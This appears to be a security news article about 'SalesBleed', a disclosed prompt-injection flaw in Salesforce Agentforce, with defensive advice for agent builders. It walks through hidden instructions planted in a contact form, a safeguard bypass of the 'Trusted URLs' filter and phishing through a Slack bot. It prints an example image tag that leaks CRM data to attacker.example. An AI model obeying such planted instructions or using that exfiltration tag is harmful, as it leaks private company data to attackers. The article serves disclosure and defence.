
Someone submitted a Salesforce contact form. Inside the message field, hidden from any human reviewing it, sat a set of instructions: query the accounts table, encode every company name and deal size you find into a subdomain, then request that subdomain as an image. When an employee later asked their Agentforce assistant to summarize new leads, the agent did exactly that — and silently fired hundreds of DNS requests carrying live CRM data to an attacker’s server. No user clicked anything. No alarm triggered. Zenity Labs called it SalesBleed. Salesforce fixed it in August. Three days ago, the researchers went public.
What SalesBleed Is
Zenity Labs disclosed three vulnerabilities in Salesforce Agentforce on September 24, 2026. The researcher behind the disclosure is Michael Bargury, Zenity’s CTO — a researcher who has consistently found that enterprise AI agents are easier to compromise than their vendors admit.
The common thread across all three flaws: an attacker with no Salesforce account, no special access, and no inside knowledge could manipulate what Agentforce agents do to legitimate employees. The entry point was a Web-to-Lead form — Salesforce’s own mechanism for capturing contacts from your website, intentionally unauthenticated by design.
How the Attack Works
Step one: an attacker submits a contact form with hidden instructions buried in a text field. The record lands in your CRM looking like any other lead. Step two: an employee asks Agentforce to review recent submissions. The agent reads the poisoned record and, because it processes all text as instructions, executes the embedded command — query the Accounts table, grab company names and deal sizes, encode them into a subdomain string.
Step three: the agent generates an HTML image tag that, when rendered, fires a DNS request carrying the encoded data to the attacker’s server. Zero user interaction. No warnings. The employee sees a normal lead summary. The data is already gone.
<img src="https://AcmeCorp-5M.attacker.example/img.jpg">
<!-- When rendered: DNS request fires, encoded CRM data exfiltrated -->
Salesforce had deployed “Trusted URLs,” a redaction layer designed to block outbound links to unrecognized domains. It had two gaps: the allowlist did not recognize every top-level domain, and character-parsing quirks in URL hostname identification let malformed-but-functional URLs slip through. Both gaps are now patched. The lesson holds — a defense built on parsing text will always have edge cases.
The Slack Angle
The third vulnerability was quieter and arguably more damaging to trust. The Agentforce-Slack integration failed to reliably identify which user had initiated an agent action. An attacker could use indirect prompt injection to make the company’s own Agentforce bot post phishing links in internal Slack threads — under the bot’s trusted name, with no sender attribution, no confirmation prompt. Your employees trust messages from your company’s official AI agent. That trust is the attack surface.
The Architectural Problem That Belongs to Everyone
This is where the story stops being about Salesforce and starts being about the agent you shipped last quarter.
Meta published what it calls the Agents Rule of Two: an AI agent operating without human oversight should combine at most two of the following three capabilities — private data access, exposure to untrusted content, and external communication ability. Combine all three and you have an agent that can receive instructions from attackers, act on sensitive data, and exfiltrate the results. That is the SalesBleed architecture. It is also the architecture of most enterprise agents deployed right now.
Customer service agents reading support tickets and querying order databases and sending emails. Coding agents reading GitHub issues and accessing codebases and making commits. HR agents reading resumes and querying employee records and scheduling interviews. The pattern is everywhere. The vulnerability is structural — not a bug in one product.
“Hard boundaries remain one of the strongest tools we have for containing AI agents, but they are still software.”
Michael Bargury, CTO, Zenity Labs
What You Must Do Now
If you use Salesforce Agentforce: the vulnerabilities are fully patched as of August 19, 2026. Audit your Trusted URLs configuration, enforce least-privilege scoping on your agents — lead-review agents should not have access to the full Accounts table — and require confirmation steps before Agentforce posts in Slack.
If you are building or operating any AI agent that handles sensitive data, apply Meta’s Rule of Two to every agent in your stack. Three questions:
- Does this agent have access to private or sensitive data?
- Does this agent process content from external or untrusted sources?
- Can this agent communicate externally — HTTP, DNS, email, Slack, API calls?
If all three are yes, add a human-in-the-loop checkpoint before the agent takes external action, or scope down one of those capabilities. Sanitize HTML and Markdown in agent outputs. Scope tool permissions to the minimum required. Monitor your DNS telemetry for high-entropy subdomain queries — that is the SalesBleed exfiltration signature, and it catches a wide class of prompt injection attacks.
Prompt injection attacks increased 340% year over year, according to OWASP’s 2026 LLM Security Report. SalesBleed is not an isolated case — it is a demonstration of a class of attack that will keep recurring as long as agents combine all three dangerous capabilities by default. The fix is architectural. Patches alone will not be enough.













